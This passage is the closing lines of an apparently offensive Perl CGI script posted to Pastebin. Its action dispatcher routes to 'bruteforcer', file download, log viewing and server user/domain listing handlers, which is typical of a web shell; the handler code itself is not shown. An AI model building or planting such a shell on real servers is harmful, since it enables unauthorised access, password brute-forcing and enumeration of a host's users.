  1772. }elsif($Action eq "bruteforcer")            # user wants to brute force
  1773. {
  1774.     &PrintPageHeader;
  1775.     print &BruteForcer;
  1776. }elsif($Action eq "download")               # user wants to download a file
  1777. {
  1778.     print &DownloadFile;
  1779. }elsif($Action eq "checklog")               # user wants to view log file
  1780. {
  1781.     &PrintPageHeader;
  1782.     print &ViewLog;
  1783.  
  1784. }elsif($Action eq "domainsuser")            # user wants to view list user/domain
  1785. {
  1786.     &PrintPageHeader;
  1787.     print &ViewDomainUser;
  1788. }elsif($Action eq "logout")                 # user wants to logout
  1789. {
  1790.     &PerformLogout;
  1791. }
  1792. &PrintPageFooter;
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!